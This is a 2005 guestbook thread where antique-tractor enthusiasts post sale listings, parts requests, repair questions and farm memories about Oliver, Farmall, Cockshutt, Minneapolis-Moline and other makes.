DARRYL KRAUSE wrote on Tuesday, May 03, 2005 (PDT):Looking for a 220,might trade a D-21 for it.
Steve Bontrager wrote on Sunday, May 01, 2005 (PDT):I have just puchased a 560 diesel for $100.00 does it sound like a good deal the engine is locked up tight and the clutch is stuck to the flywheel does it sound like a good deal i am starting to have second thoughts about my new toy.
Randy wrote on Saturday, April 30, 2005 (PDT):What is the hp on the D15 II?
Rhonda Deem wrote on Saturday, April 30, 2005 (PDT):We have a late 50's model 560 gas. My husband forgot to check the oil and it threw a rod. We have a hold in the block the size of a golf ball. Just bought a JD 2010. Should I sell the 560 or find a good used motor? If selling, what is it worth with a blown motor? Really love this tractor.
bob butkus wrote on Saturday, April 30, 2005 (PDT):I have a good running super 55 gas for sale with back blade, plow and bucket. I hate to part with it but do not have the need anymore. I used it primarily for road maintenance here in northern WI. Would fire right up in minus 20 degree weather. A real workhorse.
kevin spangler wrote on Friday, April 29, 2005 (PDT):just bought a dextra bad block , need a motor diesil 3 cyl perkins , anyone have one? block was discarded no reference to go by!
Victor Wiles wrote on Friday, April 29, 2005 (PDT):For Sale; 1957 pony with 5' belly mower Located in Iowa
P.Keenan wrote on Thursday, April 28, 2005 (PDT):I have a 300 utility that needs carb work I think It ran fine in the fall but now its backfiring and blowing blue flames out the top and will only rev with the choke out can anyone tell me whats happening. Thanks
kurt wrote on Wednesday, April 27, 2005 (PDT):I am looking for a block for a 630 case diesel or complete engine or call 1-641-680-8231
Gary Ruble wrote on Wednesday, April 27, 2005 (PDT):I have a Case 9-18 that was built by Case as a dock "mule". It is the only one I have found that was delivered on hard rubber tires front and back. Any information about others or pictures would be appreciated.
CHRIS HERRES wrote on Wednesday, April 27, 2005 (PDT):I HAVE AN OLIVER 1900 FOR SALE. IT HAS A 453 GM DIESEL. GREAT FOR TRACTOR PULL
Tom Wolder wrote on Tuesday, April 26, 2005 (PDT):Just purchased a Ford Super Dexta and would like to know of anyone who might have a manuel. Do not know the year or where to find the serial numbers, but will keep searching. any one out there please respond, Thanks Tom
Sandra Berube wrote on Tuesday, April 26, 2005 (PDT):We will be opening a Tractor Supply Company store in Valdosta, GA and was wondering if you would know of any local antique tractor clubs that like to show off their tractors? We plan on having alot of activities going on during opening day (sometime in June) and would like to have an antique tractor exhibit. Any help would be greatly appreicated. Sincerely Sandra Berube
ed fleenor wrote on Sunday, April 24, 2005 (PDT):A good running 22o available. efleenor at peoplepc.com
Neville Thompson wrote on Saturday, April 23, 2005 (PDT):My brother and I joint own a Sampson Seivegrip, 1916. It was fully restored 20 years ago and runs like clockwork. We show it at various farm shows in North Canterbury, NZ. This tractor is the other one mentioned by Dave, above.
Neville Thompson wrote on Saturday, April 23, 2005 (PDT):My brother and I joint own a Sampson Seivegrip, 1916. It was fully restored 20 years ago and runs like clockwork. We show it at various farm shows in North Canterbury, NZ.
ed fleenor wrote on Friday, April 22, 2005 (PDT):I have a working 220 with cab.In good condition.A real power unit, I am selling the farm. Any one interested in the 220?
william w.gratz wrote on Thursday, April 21, 2005 (PDT):Mr father purchaed his first MM Z in 1963 ,he then purchased a ZB which I now have.I also have a GTB,a BF avery, a G 1000, a u 302 and a Jet Star 3 super plus 3 MM riding mowers. I am loking for a set of flat top fenders.
PAUL WEISMAN wrote on Thursday, April 21, 2005 (PDT):I HAVE A 40'S MODEL TD14 THAT I HAVE REBUILT, I AM IN THE LAST STAGE OF FINISHING THE ENGINE. I NEED TO KNOW THE TORQUE SPEC FOR THE ROCKER ASSEMBLY. I HAVE THREE REPAIR MANUELS ON THE TD14 BUT NONE OF THEM HAVE THE SPEC FOR THE ROCKER ARM. THERE ARE FIVE 1/2 INCH STUD BOLTS THAT HOLD THE ROCKER ASSEMBLY IN PLACE. COULD SOMEONE LET ME KNOW WHERE I CAN FINE THIS INFORMATION. OR SOMEONE THAT KNOWS THE TORQUE SETTING. PLEASE SEND ME AN E-MAIL. pjweisman at yahoo.com, THANKS.
Ben Augustine wrote on Wednesday, April 20, 2005 (PDT):By the way a 1586 is a 160 horsepower tractor and a 1066 is about 125-130 which explains why the 1586 out pulls a 1066
Ben Augustine wrote on Tuesday, April 19, 2005 (PDT):we have two 1066's a 966, 756 and a 5288 and they are all good tractors but one thing we have decided is that if ih had made tractors like the 5288 all along they might still be around. There was a gap in quailty between the 756 and the 5288. Our 756 has about 20000 hours on it and I just rebuilt it this year our 5288 has over 10000 on it and an engine overhaul 1000 Hours ago both excellent tractors
Ritchie Gunnell wrote on Monday, April 18, 2005 (PDT):Have Leader tractor similar to one pictured,for sale or trade.Ph.# 276-755-2013
Dave Blair wrote on Sunday, April 17, 2005 (PDT):I'm looking for a photo or description of a l946 Cockshutt muffler system. I'm restoring a l946 Cockshutt 70 RC Gas 6 Cyl. Thanks
Dave Blair wrote on Sunday, April 17, 2005 (PDT):I'm looking for a photo or description of a l946 Cockshutt muffler system. Thanks
John Gesink wrote on Sunday, April 17, 2005 (PDT):I have a D 14, great little tractor but, the over and under clutch lever will not always stay in the forward position, is this a big job to repair? Thanks for your help!
Bug wrote on Sunday, April 17, 2005 (PDT):For sale G VI LPG needs to be restored 580 467 0188
Joyce Abbott wrote on Friday, April 15, 2005 (PDT):Looking for Looking Looking for ford 4000 or 4000E with PTO, 3pt. hitch,front loader,power steering. Good working condition. My location is Northern Ca. Thanks for your help, Joyce for For
Walter Anderson wrote on Monday, April 11, 2005 (PDT):Know where is a d 21 at if interested e-mail me.
John wrote on Sunday, April 10, 2005 (PDT):Hi,Just got what I think may be a OC-4 in a trade, never owned a Ollie before but think i'm gonna keep this 1 to restore, neat lookin Lil Tractor, how does 1 tell the diff, between a OC-3 and a OC-4 ? also in need of a starter motor for it, any info would gladly be appreciated, Thank's, John
Walter Anderson wrote on Saturday, April 09, 2005 (PDT):Know where there is a d 17 at. If interested can pass on the info. email me at walterasrx700 at netzero.net
Jim Broughton wrote on Saturday, April 09, 2005 (PDT):Larry P. The serial number is on a plate located on the steering box just at the end of the steering column. Good luck with 'er!! Jim
Larry Pourciau wrote on Monday, April 04, 2005 (PDT):I just bought what I was told is a 1949 Farmall Cub ($1950). Where is the serial number located on it or the ID plate?
walter fox wrote on Sunday, April 03, 2005 (PDT):I am trying to locate a 1951 JD G sold to Hollingsworth family by Miller's JD dealership in Zanesville, OH in 1951 Miller dealer took tractor back after gasoline leak caused fire sometime in 1952-55. email me if any info; fox at sssnet.com
Sheridan wrote on Sunday, April 03, 2005 (PDT):My 51 Farmall C needs a rad cap as the rubber is hard as a rock . Someone told me the original cap had the temperature guage in the cap . Can anyone tell if this is so ,and if so where I might get one , Thanks Sheridan
Harley wrote on Thursday, March 31, 2005 (PST):Want to buy D-10 or D-12 (midwest area - central us)
Walkie wrote on Thursday, March 31, 2005 (PST):Need to know the timing procedure and head torque sequence for a 1961 Oliver Diesel 770.
SPECIAL (R)ED wrote on Wednesday, March 30, 2005 (PST):YEEEEEEEEAAAAAAAAAAAAAAAAAAAAAAAAAA!!!!!!!!!!!!!!! I LOVE BIG RED YEAAAAAAAAAAAAAAAAAAAAAAAAAAA!!!!!!!!!!!
Dave (NE) wrote on Wednesday, March 30, 2005 (PST):Bubba, I believe that all of the one-sixty's have power steering. They are hard to come by. I see very few of them for sale. Might try Sumerix Implement in Lachine MI. They have a web site. Where are you located?
doug wrote on Tuesday, March 29, 2005 (PST):we have a 1066 and a 1586 the 1586 makes the 10 look sick!
willis bennett wrote on Monday, March 28, 2005 (PST):I NEED A OLIVER OC3 FOR PARTS CALL 607 7332588 THINK YOU
Richard Speers wrote on Sunday, March 27, 2005 (PST):I am looking for an engine or even a good long block for a WF Allis.Can anybody out there help? Thanks
Ray wrote on Saturday, March 26, 2005 (PST):I have an M-5 Moline. I'm looking for an adapter/tach drive unit. Part number is 10A12171, for diesel. If anybody has one available, let me know.
Ray wrote on Friday, March 25, 2005 (PST):I bought an M-5 Moline, 1963 model. Does anyone know the correct paint colors for that model? The one I bought has a lighter yellow and brown than the earlier models.
Jonah Groves wrote on Thursday, March 24, 2005 (PST):I have 2 leader tractors one is red the other is orenge.I am still not sure about the years or model numbers. They are for sale. If any one is interested send me an e-mail. They are located about 40 miles north of Nashville,TN.The red one runs and the orenge one is for parts.
Josh Rooks wrote on Wednesday, March 23, 2005 (PST):I just purchased a 1948 farmal cub and was wondering if any one knows the right paint code for this machine.I work in a local body shop and no one can come up with the code.Its almost ready for paint.Please help!!!!Josh
Bruce Busch wrote on Wednesday, March 23, 2005 (PST):My friend has a case like the one in the shed. Ser. # VAIW 4926327. It still runs. It is located in San Jose Ca. Until now we did not know of any others. Bruce 408-639-2050
jake wrote on Wednesday, March 23, 2005 (PST):I need some help please email me I have a ford 8n tractor going up for sale what cost should be payed or expected great shape but wont start.
Todd Koss wrote on Tuesday, March 22, 2005 (PST):On the eight day God made the 1066. In my area the 1066's have ruled the track for 30+ years. I am happy to anounce that at 42 I became an owner of a 1973 model this week. I plan to farm with it but the pulls are my passion. When your pulling red the rest are dead.
Leo Carnahan wrote on Tuesday, March 22, 2005 (PST):I have a 1939 John Deere,with broken block, beyond repair,so i'd like to find one, if i didn't have to sell the house to get it,i've had it 10 yrs, and love it,but it don't drive to good without the block.
Erdal Tuzel wrote on Monday, March 21, 2005 (PST):Dear Sirs; I haved Massey Harris 55k Tractor 1955 year now only remeber is days wery wery good days.My country TURKEY best regards Sorry I am litle english spoken and writen
Kevin Otto wrote on Sunday, March 20, 2005 (PST):Hello could you send me a picture of your 2000 and where is it located thanks Kevin
Jim Williamson wrote on Saturday, March 19, 2005 (PST):About 1950 we had a Ferguson model 20-85 and it had a loader LUO with manure forks it had arms that lvered on brackets where fenders mount. It had a bracket that fit on rear 3 point hitch arms with a pintle hook. The manure spreader was Ferguson too and had a pintle hook hole. The loader was quite light but very, very efficient. could unhook by lowering hydraulics and just drive ahead , load in a couple of minutes and backup to spreaderand hook up again without leaving the seat. You could take the loader off in minutes just leaving the main brackets.
henry crackwood wrote on Friday, March 18, 2005 (PST):I am restoring a 1957 super 99 gm that we have had since I was a small boy. I may be able to help you find some of those hard to find parts and have some information on these tractors. myself I need a set of rear fenders. email me at hcrackwood at hotmail.com subject super 99
Codie wrote on Thursday, March 17, 2005 (PST):I own a 770 gas, very good tractor. Always starts and runs well.
ERIC HARDEN wrote on Wednesday, March 16, 2005 (PST):I AM HAVING PROBLEM LOCATING A PART FOR MY DAD'S 1973 OLIVER 550 D - THE PART I AM LOOKING FOR IS THE REAR BALL BEARING ASSEMBLY - FOR THE GENERATOR (I THINK DELCO). NEED HELP....
Bob Parks wrote on Tuesday, March 15, 2005 (PST):I finally found a cockshutt 30. If you know where to buy parts, please give me some help. I am still looking for a cockshutt 20 Thanks
Jim Phillips wrote on Tuesday, March 15, 2005 (PST):I recently purchased a 1960 vintage cat, S/N 5U4989. I am looking for an owner's manual. It starts and runs great.
Dave Shoop wrote on Monday, March 14, 2005 (PST):I've just acquired a '52 JD 60 as a restoration project. It has a 6 X 3 power block. What does that mean?
Billy W. McGhee wrote on Monday, March 14, 2005 (PST):Looking for a 1950 Oliver front wheel asst with the Gimmy D. would like to restore it. would like it to have cab if there is such a machine. if there is email me. thanks bwmc
Richard Shuster wrote on Sunday, March 13, 2005 (PST):I have recently purchased a Massey Harris 55 serial number 55GS4921, with a 382 gas engine serial number MJA382G. I need a overhaul kit and a manifold and can't seem to find parts anywhere for this. PLEASE HELP!!!!! 816-596-0466
CRAIG FORREST wrote on Saturday, March 12, 2005 (PST):I HAD WASHED AND CLEANED MY MODEL B AND CRANKED IT TO LOAD ON THE TRAILER TO RIDE IN A LOCAL PARADE IT STARTED STALLING EVERY TIME I TRIED TO GO UP THE RAMPS I BACKED IT UP AND IT RAN FINE WHEN I GOT TOTHR PARADE IT WOULD NOT TURN OVER SO I PULLED IT OFF WHEN IT DID TURN OVER WATER AND GAS CAME OUT THE EXHAUST ANY IDEA WHAT CUOLD BE THE PROBLEM? ANY HELP WOULD BE APPRECIATED
RICHARD FRERICKS wrote on Saturday, March 12, 2005 (PST): I HAVE A 550 OLIVER GAS WITH THE OWNERS MANUAL FOR IT.IT WAS BOUGHT NEW IN NEBASKA WANTING TO SELL IT MY PHONE NUMBER IS 605 472 1013 LEAVE A MESSAGE THANKS RICHARD
Rob wrote on Saturday, March 12, 2005 (PST):I love old tractors! Does any one know the value of an OC4?
Lynn Klingaman wrote on Friday, March 11, 2005 (PST):Lynn Klingaman 260-799-5920 - Do you need Sheppard Information or Parts? Call or email - I do not have a computer but my daughter will get the email - I have supplied many parts to many tractor/engine owners of Sheppard produced items.
Hoz Compton wrote on Friday, March 11, 2005 (PST):My brothers and I are interested in selling our grandfather's 1939 #66 Row Crop to put the money into his old Dodge truck. Tractor is located in Georgia. Please e-mail me with value. Thanks Hoz
Steve Bauer wrote on Thursday, March 10, 2005 (PST):I am in-process of buying a 550 Oliver (gas). I was told it is late 60's vintage. It has a heavy duty front loader and rear PTO, all original and in good working order. If anyone can help me determine the exact year and HP, I would greatly appreciate it. I don't think it needs much work right now but would like to know where to get replacement parts if/when needed.
Andy wrote on Wednesday, March 09, 2005 (PST):What's it worth? Helping friend determine value of his Allis Chalmers "WKO" ag crawler. electric start, starts on gas, switch to diesel. Would appreciate any comments, referrals, located in Central California. Thanks!
jason wrote on Wednesday, March 09, 2005 (PST):i have a couple mh 44 and lots of parts they are real nice old iron
curt wrote on Wednesday, March 09, 2005 (PST):nice tractor
Lowell Spitler wrote on Tuesday, March 08, 2005 (PST):The only new tractor i ever owned was a 1956 60 row crop that i sold in the early 60s after loosing some of my rented ground and didn`t need any more. The serial no. was 6058433 . Does anyone know where this tractor is located? It was sold in west central Ohio. God bless America!!!!!!
mark m k wrote on Monday, March 07, 2005 (PST): My bother Ivan pulls a 1066 16000 pound class and kick ass out of junky JD.s plus his 1566 some wont let him pull cous there.s no compatoin for it so the JD.S have a chance and the one.s that do he go.s against are frontwheel asis and still eat them up I myself pull a nice IH clean 1466 04 was my first year of pulling with it but my brother still outpull me his 1066 hp 300 plus out of the field my 1466 has 240hp and both love eating them Junky J.D.S up for breckfest so you JD IH WONTA BEE.S see ya at the sled and good luck! in 05
mark m k wrote on Monday, March 07, 2005 (PST): My bother Ivan pulls a 1066 16000 pound class and kick ass out of junky JD.s plus his 1566 some wont let him pull cous there.s no compatoin for it so the JD.S have a chance and the one.s that do he go.s against are frontwheel asis and still eat them up I myself pull a nice IH clean 1466 04 was my first year of pulling with it but my brother still outpull me his 1066 hp 300 plus out of the field my 1466 has 240hp and both love eating them Junky J.D.S up for breckfest so you JD IH WONTA BEE.S see ya at the sled and good luck! in 05
Dan Bock wrote on Monday, March 07, 2005 (PST):I am helping a friend who just bought a 15-25 look for a hood and fenders. Any help or information would be greatly appreciater, thank you
Jerry Herger wrote on Saturday, March 05, 2005 (PST): I have an original 1958 Oliver 550 and it is a great tractor. We have the Model 57 mid mount sickle that I need parts for. Anyone out there have a junker? Our 550 has the regular red rear rims(non power adjust) and it appears that only early 58's had these as a hold over from the super 55's. It also has the the 144 cube engine which is the same as the super 55's. About 35 HP. It will never be sold since it was my Dad's. We don't use it much but it was fun growing up with it. It also came with Ollie double plows and harrow and also an ollie hay wagon. AGCO would make a fortune if they started making them again. Did I hear Ford is doing a limited run of their old N-series? By the way anyone out there have the red rear rims on their 58? I am trying to determine how many had them. E-mail me please.
Billie Rinderer wrote on Friday, March 04, 2005 (PST):We are looking for a rear wheel for our Oliver -- one of ours is splitting. . . . .work phone on M-Th - F is 314-259-2000. thank you
didier dauphy wrote on Thursday, March 03, 2005 (PST):je recherche des docs sur l'OLIVER 70 row crop salutations didier
jason wrote on Wednesday, March 02, 2005 (PST):Who makes service tools for IH Tractors?
Steve DiGiovanna wrote on Wednesday, March 02, 2005 (PST):I live in Illinois and have a D21 that I might be interested in selling. Please e-mail me with questions and or comments. But would be interested if anyone knows the value of the tractor.
carroll toquam wrote on Tuesday, March 01, 2005 (PST):i have a cockshutt golden eagle for sale , the engine has been completly rebuilt as well as the injector pump. the sheet metal is good . the price is right
Edward Semmelrock wrote on Tuesday, March 01, 2005 (PST):Looking for a 1952 farmall cub. New England Area
Terry Boone wrote on Thursday, February 24, 2005 (PST):My 48 D has developed a bad oil burning problem and the engine is in need of rebuilding. I think I can handle the mechanical part but need to know where I can get rings and a head gasket. Any assistance would be appreciated. Terry
don sisco wrote on Wednesday, February 23, 2005 (PST):my friend had a gas I9 with heavy rear hubs and duals on rear . it was used by Bucyrus Erie crane mfg in Evansville In to pull rail cars around the plant whe a locomotive was not available , it was a work horse . Don
Patrick Coxall wrote on Wednesday, February 23, 2005 (PST):Have just paid 830uros for a cub with double reversable plough and underslung cutterbar. I think a good price for a French Built American good baby Tractor. I have and Allis B and A Fordson E27b. Looking forward in my retirement to bring these three back to original condition, any local admirers in Finistre France? Contact me, thanks
Brad Perkins wrote on Tuesday, February 22, 2005 (PST):I am looking for a picture of the carburetor linkage for the Cockshutt 30. I need to see the linkage on both the front and back so I tell exactly what the governor hook up should be like. Can anybody email me a photo or scan a page from a manual and email that. I have shop manual but it does not show me the connection for the Gov. linkage at the throttle shaft arm (which I am missing). Please
Gordon Crawford wrote on Monday, February 21, 2005 (PST):wrote on Monday, February 21, 2005 Iam looking for pistons for a 50 Cockshutt Diesel. Engine is a Buda 6DA-273. The pistons part # T013678. Thanks, Gordon Crawford, North Gower, Ont. Cda. Tel.#613-489-3817.
alejandrino andrade peralta wrote on Monday, February 21, 2005 (PST):solicito tractores para baja california mexico, de preferencia de california y arizona. 706,766,866,1066,1466 international. 4020,4230,4440 jhon deere. gracias
Dave wrote on Monday, February 21, 2005 (PST):I used a Allis Charmlers tractor like this when I was a teenager. But they dont mention the hydrostatic type drive system which the diesel tractor that I used had
George McKenzie wrote on Sunday, February 20, 2005 (PST):I Have a 9 18 Case Need a Feul tank cap ,feul tank valve air brether and site glass Serial# 22060 Would appreciate any help Am restoring it after 45 years of ownership Second owner .George
ron wrote on Sunday, February 20, 2005 (PST):i remember back in the late 40's or early 50's, when i was a farmer, a polish farmer in back of us got a new cockshutt 50--remembering how all us farmers were back then, we just couldnt talk enough about them buying such a tractor when all our farm neighbors and us were so faithful with the IH and JD companys. as the time went on their so called "dumb cockshutt" stayed up with all the surrounding farmers tractors. THE GREAT REMEMBERANCES OF THE OLE FARMERS FROM THE BYGONE DAYS. THIS ALL TOOK PLACE IN SARATOGA COUNTY TOWN OF CHARLTON. LONG LIVE ALL THE OLD TIME TRACTORS!!!!!!
kevin Hartman wrote on Saturday, February 19, 2005 (PST):looking for a G1000 in running condition email me with picturse if possible
Joe Truchard wrote on Saturday, February 19, 2005 (PST):I have an Oliver OC-3 and am wondering what engine model is suppose to be in it. Is it the IXB-3?. I also need the water pump, pto and belt pully, the throttle lever, fenders, side curtains and some other parts. Can anyone give me some help or ideas. Thanks.
Harold Heffern wrote on Saturday, February 19, 2005 (PST):I purchased a 1940 9N last fall and in process of rebuilding it. Tractor runs like a top and really wasn't in bad shape. Have trouble locating front spindles with matching thrust bearing and axle seals. I ordered some from Vaulu-Bilt Tractor, and they didn't even come close matching. Thrust bearings they sent didn't even match the spindles they sent. Neither did the front axle hub seals. My intentions were having it ready this spring to put in food plots for upcoming deer season. Anybody got any good parts stores suggestions. I live in Illinois. Thanks....
1206 puller wrote on Tuesday, February 15, 2005 (PST):i pull a 1206 it has a 4100 IH flywheel and clutch and lots more goodies.my 1206 has pulled 12000. i won the 12,000 lb class.a challenge was issued that i could not beat a pretty warm 15,500 lb class 220 AC from our area. Bets were placed on the outcome. but my 1206 has a few more ponies under the hood. we both made full pulls. we came back around for the pull off. they added more weigh to the sled. the 220 pull it short of a full pull. the old 1206 tightened the chain and blew it out the end. the ac people were shocked. since they had ted 15500 class for 2 yearys. so go red power
Glenn Manning wrote on Tuesday, February 15, 2005 (PST):Need to know where to put the hydralic oil and what kind of oil to use. would appreciate any ones help.
ken rowe wrote on Tuesday, February 15, 2005 (PST):LOOKING FOR A PICTURE OF A 65 ALLIS CHALMERS DOZER HD7 WANT TO SEE WHAT ONE LOOKS LIKE IN THE RAW,
Ox wrote on Monday, February 14, 2005 (PST):I have a K crawler identical to the one in the photo. In fact, I live south of where it was taken about an hour. I'm looking for a service manual and a good exhaust manifold if anyone can help me. Thanks!
p bullock wrote on Monday, February 14, 2005 (PST):have a 1976 black stripe open station with 7400 hours use it everday from loading have to planting have even pulled a 22ft sunflower disc usually pulled by a 7120. wouldnt trade it for the world
Edward Semmelrock wrote on Monday, February 14, 2005 (PST):Looking for a John Deere L or LA,any condition.
Ron Blomquuist wrote on Monday, February 14, 2005 (PST):I have a TD 35 that my Grandfather purchased new in 1937 it has not run in ten years and the engin has seized. I thought I might put some diesel in the cylinders let it set for a few months and try towing it with a D6 to try to free it up, any thoughts?
Bob Reasoner wrote on Monday, February 14, 2005 (PST):Just put together a U propane .560 over,Jahns,etc. Need a set of 9 bolt hubs for pressed steel
Roy Wilson wrote on Monday, February 14, 2005 (PST):I have just purchased a Super Dexta but I have been unable to find the serial number to determine the exact age for parts and such. I read that the serial number is listed vertically on or around the flange... can someone be a little more specific for the more intellectually challenged person. Thanks, Roy
Brian Pohlman wrote on Monday, February 14, 2005 (PST):We have a D-15 series 2 that my dad got very good deal on $400. and have only had to put in a new head and recor the radeator in the past 10 years. The 15 esaly can out run catle. and it shoots a flame out the stack when you chop stalks.
Dan Zukowski wrote on Sunday, February 13, 2005 (PST):HAVE A MHF SIDE FRAM #769003M1 D 13 N6 MHF,TRANS #767766MI MHF CANADA. MOTOR PLATE #MF SA 244G 1419. CAN ANYONE GIVE ME ANY INFO ON THIS TRACTOR? IT HAS A 24 VOLT SYSTEM LOOKS LIKE A 55 AND HAS A PTO. WANT TO RESTORE BUT NEED TO KNOW WHAT I REALLY HAVE. ANY INFO APPRECIATED.
jerry b wrote on Sunday, February 13, 2005 (PST):red for alweys an forver JD kiss my RED ASS!!!!!!!!!!
Phil Croft wrote on Sunday, February 13, 2005 (PST):My wife bought me a 1960 550 as a retirement project. It needs quite a bit of minor work, but it runs good. Any tips and parts sources will be deeply appreciated. Thanks
Leonard Polsfut wrote on Saturday, February 12, 2005 (PST):I am looking to purchase a rear grafide rope oil seal for a 555 Massey Harris Diesel Tractor. Approximate year is 1955 and it is a 4 cylinder.
TODD HOCKER wrote on Saturday, February 12, 2005 (PST):WHAT IS MEANT BY LIVE POWER TAKE OFF COMPARED TO JUST POWER TAKE OFF?
David Cornett wrote on Friday, February 11, 2005 (PST):Interested in purchasing restorable Leader tractor or parts.
Ted Turnbull wrote on Wednesday, February 09, 2005 (PST):My grandfather and uncle farmed a 500 acre (300 under plow) with a farmall M which was purchased after the massey harris 81 which was thier first tractor after horses. I spent many hours on that tractor pulling a plow, a bull disc, a hay morer, and various other implements. I was to young to be let loose with the bayler,(spent my time on the wagon) or the combine. It was a great tractor but I would not want to have one on a hilly farm. I nearly tipped it over on a side hill pulling the bull disc. I was turning uphill and hit the left brake which caused the wheel to come up very quickly. Taught me a valuable lesson. It did a lot of work on that farm. My uncle would put new sleeves in nearly every winter while it was not needed. We had another 2 plow MH for intermediate work. Can't remember the model #. Farming taught me a lot of lessons that I carried with me the rest of my life. Our sociaty would be in a lot better shape if we were still had an agrarian lifestyle. Just like everything else the income kept going down while the expenses kept going up and most farmers were not college educated and didn't do well with the new ways of making money such as the stock market ect. They did very well at growing our food, so well it kept pushing prices downward which only hurt them in the end. While that is my story. Hope you enjoy it Ted
safbljkh wrote on Monday, February 07, 2005 (PST):vsn dbvws csfggabcksw
safbljkh wrote on Monday, February 07, 2005 (PST):vsn dbvws csfggabcksw
Bill Gowans wrote on Sunday, February 06, 2005 (PST):I live in England and own a 1963 Super Dexta. Does anybody out there have a Manual that I could have a copy of? Regards Bill
EMPLOYEE wrote on Friday, February 04, 2005 (PST):YOU MAY FIND PARTS AND INFO. FRON THE R.H.SHEPPARD CO. IN HANOVER PA. THINIS WHERE THE EQUIPMENT WAS MADE
Jim Kroenlein wrote on Friday, February 04, 2005 (PST):I am looking at buying a D-15 but am having problems finding a serial number. I found AM-4765-6 stamped into the right side of the transmission housing by your right foot. Is this it?
Justin Wheeler wrote on Thursday, February 03, 2005 (PST):I am curently restoring a 1940 CASE DI for a high school ag project. I got it from an old salvage yard that was closed down due to flooding and its location on the river. I paid $100 dollars for it, but what really cought my attention was it's color. It was millitary green with a white star on the hood. It also had some faded numbers. all there.
Rocco wrote on Thursday, February 03, 2005 (PST):I have a sos or som I am not sure? it need to have some work done on the trans... it has the bucket on it. I am looking to sell it if somebody will restore it.. call if intrested 815-693-6874
Rocco wrote on Thursday, February 03, 2005 (PST):I have both a M & H,( years not known) both need TLC! I am looking to sell them both for $2,500.( if you will take both)any questions please call me 815-693-6874
Kevin Brown wrote on Tuesday, February 01, 2005 (PST):.006 on the intake and .008 on the exhaust valves.
TOM M. wrote on Monday, January 31, 2005 (PST): great forem thanks for all the info I bought a cockshutt 40 with an allis DSL. engin, was scratching my head as to how it got there
Nathan Grivy wrote on Monday, January 31, 2005 (PST):My cousin is restoring a 1948 Leader tractor with a Hurcules engine. Does anyone know what the valve clearence and adjustment procedure might be?
MARCUS SAM wrote on Monday, January 31, 2005 (PST):I own a 1466 but I recently lose fourth gear. The engine has been completely rebuilt and I am looking to sell it and replace it with a 806. If anyone is interested please e-mail me at msam90 at yahoo.com. I live in Louisiana.
JOHN L. TABACSKO wrote on Saturday, January 29, 2005 (PST):What year is this tractor? When I was a kid on our family farm, I drove one like this one. Does it have a six speed transmission, with two speed reverse?
Kevin Lippert wrote on Saturday, January 29, 2005 (PST):I sold the 1950 as of 1-29-05
Danny Hoover wrote on Wednesday, January 26, 2005 (PST):I started restoring allis chalmer tractors about two years ago. I purchased a cockshutt 30 here in South Carolina. The tractor had not been running in 30 some odd years but I lucked up and got it running like a top. The question I have, does cockshutt have a data book like the other tractors have for more additional information? If so where can I purchase a book. Thanks for any help.
shadrock wrote on Monday, January 24, 2005 (PST):I own a 1950 model flathead v8 rated 100 hp how much trouble would it be to install in 8n tractor need how to book shadetree machinist mechanic by trade or is there still a conversion kit still sold today also have a 150 trysicle diesel massey ferguson for sale in good condition very rare tractor would trade for 4000 or 5000 ford trysicle diesel type of tractor or sell outright
Ken wrote on Monday, January 24, 2005 (PST):I'm just amazed at how many "G people there are - our neighbor, when I was a kid (30+/- years ago) had an orange AC G tractor that he used on their small farm, and had built a trailer that we used to haul our trash to the dump with. My sister and I have great memories of going for a tractor ride with "Mister Mac" when he was hauling things. I was always fascinated with the tractor, simply because the G was such an unusual machine. I remember Mister Mac having to manually crank the engine to start it, but it always started on the 1st or 2nd try - I only remember one occasion when it was being stubborn. I'm glad to see so many people still interested in these, restoring them and appreciating the craftsmanship, durability and sentimental value that they have. Unfortunately, I live in the city and can't have one to play with, so I'm jealous of those who can!!
Robert wrote on Monday, January 24, 2005 (PST):I found a picture of a MM UDLX at this site www.minneapolis-moline.com/tturner/IMAGES/MM_Udlx.gif The picture quality is not that well, but it gives a better look at what the tractor looked like.
Rod Machiela wrote on Sunday, January 23, 2005 (PST):Does anyone know where this picture was taken
Dwight wrote on Saturday, January 22, 2005 (PST):I am looking for a 300 or 350 International Utility with a front end loader. Needs to be good running order. Cosmetics unimportant. I'm located in western dakota. Any help appreciated.
Stacy Porch wrote on Saturday, January 22, 2005 (PST):Looking to buy a McCormick 22-36 tractor. I am located in cental Illinois. Would like to have the tractor on rubber.
Johnny Broome wrote on Tuesday, January 18, 2005 (PST): I have g-153 industrial engine for sale has new pistons, liners, crank kit head recond. out of fork lift, never started. I understand it will fit a d-14 and 15 stlye tractor with bellhousing adaptor asking 1,000.00. Mooresville, n.c. telephone-704-507-2017
James Baker wrote on Tuesday, January 18, 2005 (PST):I recently bought a MM G1000 Wheatland for the unbelievable price of $200. It's not in great shape, but it still runs like a charm. Does anyone have any specs on one, such as horsepower. I am also in need of an alternator, but I'm not sure what type. Any help is appreciated. Thanks
Carrie wrote on Monday, January 17, 2005 (PST):Looking for JD 60 Block for my husband. He has given up hope and would love to surprise by deere loving husband. Does anyone know where I could find one??
Carrie wrote on Monday, January 17, 2005 (PST):Looking for JD 60 Block for my husband. He has given up hope and would love to surprise by deere loving husband. Does anyone know where I could find one??
Tom Rohrich wrote on Friday, January 14, 2005 (PST):We have a G 1000 with front wheel assist. It has a cab but it is not on it. Also have a Vista 1000. We farmed exclusively with the "Mighty Mo's". No longer farming but have kept the tractors. Also have a G950, 1355, U302, G, Z, U, 1050, & propane A4T1600 with 800 cid engine. We bought the 950 & 1355 new.
RODNEY DURANT wrote on Friday, January 14, 2005 (PST):I FOUND A MH 44D WITH 3 POINT HITCH ENGINE LOCKED UP HAS BEEN SITTING FOR SEVERAL YEARS METAL STRAIGHT WITH EXCEPTION TO GRILL. ALL RUBBER WHAT IS THE VALUE PLEASE HELP, 10 YEAR OLD SON'S PROJECT.
Julian braun wrote on Thursday, January 13, 2005 (PST):I would like to know what year of Farmall A tractor I have. The serial number plate is missing. I would like to know what year or if its a Super A. Its got a single post shock absorber seat. A latch style engine cover instead of the normal common head screw latch. I would like to restore this tractor so if anybody knows any information please email me. Thanks, Julian
Wardell Schoff wrote on Wednesday, January 12, 2005 (PST):I have used moline tractors for 50 yrs,most were LPs.In 69 bought a new Vista G1000 LP,still have it.A great tractor I really enjoy working it,lot of power.Also have a G900 gas tractor for sale,nice all original SN33000300
Wardell Schoff wrote on Wednesday, January 12, 2005 (PST):I have used moline tractors for 50 yrs,most were LPs.In 69 bought a new Vista G1000 LP,still have it.A great tractor I really enjoy working it,lot of power.Also have a G900 gas tractor for sale,nice all original SN33000300
